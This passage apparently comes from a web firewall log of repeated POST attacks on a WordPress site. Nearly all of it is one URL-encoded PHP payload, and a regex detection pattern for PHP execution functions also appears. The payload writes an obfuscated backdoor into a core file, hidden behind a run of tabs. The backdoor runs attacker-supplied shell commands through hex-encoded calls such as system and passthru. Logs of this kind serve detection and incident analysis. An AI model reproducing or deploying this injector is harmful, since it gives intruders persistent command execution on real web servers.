int%2520%2524settings2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings3%2529%2529%257B%2524settings3%2528%2524data_storage%252C%2524dchunk_parameter_group%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_parameter_group%2529%253B%257Delseif%2528function_exists%2528%2524settings4%2529%2529%257B%2524settings4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings5%2529%2526%2526function_exists%2528%2524settings6%2529%2526%2526function_exists%2528%2524settings7%2529%2529%257B%2524holder_val%253D%2524settings5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524holder_val%2529%257B%2524value_object%253D%2524settings6%2528%2524holder_val%2529%253B%2524settings7%2528%2524holder_val%2529%253Bprint%2520%2524value_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEytvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:6609\n\nFX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth\/Basic.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524record1%2520%253D%2520%2527737%2527%253B%2524record2%2520%253D%2520%2527973%2527%253B%2524record3%2520%253D%2520%252756d%2527%253B%2524record4%2520%253D%2520%2527865%2527%253B%2524record5%2520%253D%2520%2527657%2527%253B%2524record6%2520%253D%2520%2527173%2527%253B%2524record7%2520%253D%2520%2527706%2527%253B%2524record8%2520%253D%2520%2527f70%2527%253B%2524record9%2520%253D%2520%2527656%2527%253B%2524record10%2520%253D%2520%2527472%2527%253B%2524record11%2520%253D%2520%252716d%2527%253B%2524record12%2520%253D%2520%2527745%2527%253B%2524record13%2520%253D%2520%25276f6%2527%253B%2524record14%2520%253D%2520%2527e74%2527%253B%2524record15%2520%253D%2520%25276f7%2527%253B%2524record16%2520%253D%2520%2527365%2527%253B%2524record17%2520%253D%2520%2527174%2527%253B%2524record18%2520%253D%2520%2527f73%2527%253B%2524record19%2520%253D%2520%2527746%2527%253B%2524record20%2520%253D%2520%2527616%2527%253B%2524settings1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record1%2520.%2520%2524record2%2520.%2520%2527746%2527%2520.%2520%2524record3%2529%253B%2524settings2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524record4%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2527657%2527%2520.%2520%2524record4%2529%253B%2524settings3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record5%2520.%2520%2527865%2527%2529%253B%2524settings4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524record6%2520.%2520%2524record1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524settings5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record7%2520.%2520%2524record8%2520.%2520%2524record9%2529%253B%2524settings6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524record10%2520.%2520%2524record9%2520.%2520%2524record11%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524record12%2520.%2520%2527f63%2527%2520.%2520%2524record13%2520.%2520%2524record14%2520.%2520%2527656%2527%2520.%2520%2527e74%2527%2529%253B%2524settings7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524record15%2520.%2520%2524record16%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527%2520.%2520%2524record17%2520.%2520%2527615%2527%2520.%2520%2524record18%2520.%2520%2524record19%2520.%2520%2527f72%2527%2520.%2520%2524record20%2520.%2520%2527765%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524settings1%2529%2529%257B%2524settings1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings2%2529%2529%257Bprint%2520%2524settings2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings3%2529%2529%257B%2524settings3%2528%2524data_storage%252C%2524dchunk_parameter_group%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_parameter_group%2529%253B%257Delseif%2528function_exists%2528%2524settings4%2529%2529%257B%2524settings4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings5%2529%2526%2526function_exists%2528%2524settings6%2529%2526%2526function_exists%2528%2524settings7%2529%2529%257B%2524holder_val%253D%2524settings5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524holder_val%2529%257B%2524value_object%253D%2524settings6%2528%2524holder_val%2529%253B%2524settings7%2528%2524holder_val%2529%253Bprint%2520%2524value_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:39:15","43.230.201.87","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth\/Basic.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524record1%2520%253D%2520%2527737%2527%253B%2524record2%2520%253D%2520%2527973%2527%253B%2524record3%2520%253D%2520%252756d%2527%253B%2524record4%2520%253D%2520%2527865%2527%253B%2524record5%2520%253D%2520%2527657%2527%253B%2524record6%2520%253D%2520%2527173%2527%253B%2524record7%2520%253D%2520%2527706%2527%253B%2524record8%2520%253D%2520%2527f70%2527%253B%2524record9%2520%253D%2520%2527656%2527%253B%2524record10%2520%253D%2520%2527472%2527%253B%2524record11%2520%253D%2520%252716d%2527%253B%2524record12%2520%253D%2520%2527745%2527%253B%2524record13%2520%253D%2520%25276f6%2527%253B%2524record14%2520%253D%2520%2527e74%2527%253B%2524record15%2520%253D%2520%25276f7%2527%253B%2524record16%2520%253D%2520%2527365%2527%253B%2524record17%2520%253D%2520%2527174%2527%253B%2524record18%2520%253D%2520%2527f73%2527%253B%2524record19%2520%253D%2520%2527746%2527%253B%2524record20%2520%253D%2520%2527616%2527%253B%2524settings1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record1%2520.%2520%2524record2%2520.%2520%2527746%2527%2520.%2520%2524record3%2529%253B%2524settings2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524record4%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2527657%2527%2520.%2520%2524record4%2529%253B%2524settings3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record5%2520.%2520%2527865%2527%2529%253B%2524settings4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524record6%2520.%2520%2524record1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524settings5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record7%2520.%2520%2524record8%2520.%2520%2524record9%2529%253B%2524settings6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524record10%2520.%2520%2524record9%2520.%2520%2524record11%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524record12%2520.%2520%2527f63%2527%2520.%2520%2524record13%2520.%2520%2524record14%2520.%2520%2527656%2527%2520.%2520%2527e74%2527%2529%253B%2524settings7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524record15%2520.%2520%2524record16%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527%2520.%2520%2524record17%2520.%2520%2527615%2527%2520.%2520%2524record18%2520.%2520%2524record19%2520.%2520%2527f72%2527%2520.%2520%2524record20%2520.%2520%2527765%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524settings1%2529%2529%257B%2524settings1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings2%2529%2529%257Bprint%2520%2524settings2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings3%2529%2529%257B%2524settings3%2528%2524data_storage%252C%2524dchunk_parameter_group%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_parameter_group%2529%253B%257Delseif%2528function_exists%2528%2524settings4%2529%2529%257B%2524settings4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings5%2529%2526%2526function_exists%2528%2524settings6%2529%2526%2526function_exists%2528%2524settings7%2529%2529%257B%2524holder_val%253D%2524settings5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524holder_val%2529%257B%2524value_object%253D%2524settings6%2528%2524holder_val%2529%253B%2524settings7%2528%2524holder_val%2529%253Bprint%2520%2524value_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnR8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:6609\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\n\nhO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth\/Basic.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524record1%2520%253D%2520%2527737%2527%253B%2524record2%2520%253D%2520%2527973%2527%253B%2524record3%2520%253D%2520%252756d%2527%253B%2524record4%2520%253D%2520%2527865%2527%253B%2524record5%2520%253D%2520%2527657%2527%253B%2524record6%2520%253D%2520%2527173%2527%253B%2524record7%2520%253D%2520%2527706%2527%253B%2524record8%2520%253D%2520%2527f70%2527%253B%2524record9%2520%253D%2520%2527656%2527%253B%2524record10%2520%253D%2520%2527472%2527%253B%2524record11%2520%253D%2520%252716d%2527%253B%2524record12%2520%253D%2520%2527745%2527%253B%2524record13%2520%253D%2520%25276f6%2527%253B%2524record14%2520%253D%2520%2527e74%2527%253B%2524record15%2520%253D%2520%25276f7%2527%253B%2524record16%2520%253D%2520%2527365%2527%253B%2524record17%2520%253D%2520%2527174%2527%253B%2524record18%2520%253D%2520%2527f73%2527%253B%2524record19%2520%253D%2520%2527746%2527%253B%2524record20%2520%253D%2520%2527616%2527%253B%2524settings1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record1%2520.%2520%2524record2%2520.%2520%2527746%2527%2520.%2520%2524record3%2529%253B%2524settings2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524record4%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2527657%2527%2520.%2520%2524record4%2529%253B%2524settings3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record5%2520.%2520%2527865%2527%2529%253B%2524settings4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524record6%2520.%2520%2524record1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524settings5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record7%2520.%2520%2524record8%2520.%2520%2524record9%2529%253B%2524settings6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524record10%2520.%2520%2524record9%2520.%2520%2524record11%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524record12%2520.%2520%2527f63%2527%2520.%2520%2524record13%2520.%2520%2524record14%2520.%2520%2527656%2527%2520.%2520%2527e74%2527%2529%253B%2524settings7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524record15%2520.%2520%2524record16%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527%2520.%2520%2524record17%2520.%2520%2527615%2527%2520.%2520%2524record18%2520.%2520%2524record19%2520.%2520%2527f72%2527%2520.%2520%2524record20%2520.%2520%2527765%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524settings1%2529%2529%257B%2524settings1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings2%2529%2529%257Bprint%2520%2524settings2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings3%2529%2529%257B%2524settings3%2528%2524data_storage%252C%2524dchunk_parameter_group%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_parameter_group%2529%253B%257Delseif%2528function_exists%2528%2524settings4%2529%2529%257B%2524settings4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings5%2529%2526%2526function_exists%2528%2524settings6%2529%2526%2526function_exists%2528%2524settings7%2529%2529%257B%2524holder_val%253D%2524settings5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524holder_val%2529%257B%2524value_object%253D%2524settings6%2528%2524holder_val%2529%253B%2524settings7%2528%2524holder_val%2529%253Bprint%2520%2524value_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:40:13","129.121.41.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> XZ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth\/Basic.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524record1%2520%253D%2520%2527737%2527%253B%2524record2%2520%253D%2520%2527973%2527%253B%2524record3%2520%253D%2520%252756d%2527%253B%2524record4%2520%253D%2520%2527865%2527%253B%2524record5%2520%253D%2520%2527657%2527%253B%2524record6%2520%253D%2520%2527173%2527%253B%2524record7%2520%253D%2520%2527706%2527%253B%2524record8%2520%253D%2520%2527f70%2527%253B%2524record9%2520%253D%2520%2527656%2527%253B%2524record10%2520%253D%2520%2527472%2527%253B%2524record11%2520%253D%2520%252716d%2527%253B%2524record12%2520%253D%2520%2527745%2527%253B%2524record13%2520%253D%2520%25276f6%2527%253B%2524record14%2520%253D%2520%2527e74%2527%253B%2524record15%2520%253D%2520%25276f7%2527%253B%2524record16%2520%253D%2520%2527365%2527%253B%2524record17%2520%253D%2520%2527174%2527%253B%2524record18%2520%253D%2520%2527f73%2527%253B%2524record19%2520%253D%2520%2527746%2527%253B%2524record20%2520%253D%2520%2527616%2527%253B%2524settings1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record1%2520.%2520%2524record2%2520.%2520%2527746%2527%2520.%2520%2524record3%2529%253B%2524settings2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524record4%2520.%2520%25276c6%2527%2520.%2520%2527c5f%2527%2520.%2520%2527657%2527%2520.%2520%2524record4%2529%253B%2524settings3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record5%2520.%2520%2527865%2527%2529%253B%2524settings4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524record6%2520.%2520%2524record1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524settings5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524record7%2520.%2520%2524record8%2520.%2520%2524record9%2529%253B%2524settings6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524record10%2520.%2520%2524record9%2520.%2520%2524record11%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2524record12%2520.%2520%2527f63%2527%2520.%2520%2524record13%2520.%2520%2524record14%2520.%2520%2527656%2527%2520.%2520%2527e74%2527%2529%253B%2524settings7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%252736c%2527%2520.%2520%2524record15%2520.%2520%2524record16%2529%253B%2524data_storage%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527646%2527%2520.%2520%2524record17%2520.%2520%2527615%2527%2520.%2520%2524record18%2520.%2520%2524record19%2520.%2520%2527f72%2527%2520.%2520%2524record20%2520.%2520%2527765%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524data_storage%255D%2529%2529%257B%2524data_storage%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524data_storage%255D%2529%253Bif%2528function_exists%2528%2524settings1%2529%2529%257B%2524settings1%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings2%2529%2529%257Bprint%2520%2524settings2%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings3%2529%2529%257B%2524settings3%2528%2524data_storage%252C%2524dchunk_parameter_group%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dchunk_parameter_group%2529%253B%257Delseif%2528function_exists%2528%2524settings4%2529%2529%257B%2524settings4%2528%2524data_storage%2529%253B%257Delseif%2528function_exists%2528%2524settings5%2529%2526%2526function_exists%2528%2524settings6%2529%2526%2526function_exists%2528%2524settings7%2529%2529%257B%2524holder_val%253D%2524settings5%2528%2524data_storage%252C%2522r%2522%2529%253Bif%2528%2524holder_val%2529%257B%2524value_object%253D%2524settings6%2528%2524holder_val%2529%253B%2524settings7%2528%2524holder_val%2529%253Bprint%2520%2524value_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJSbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:6609\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 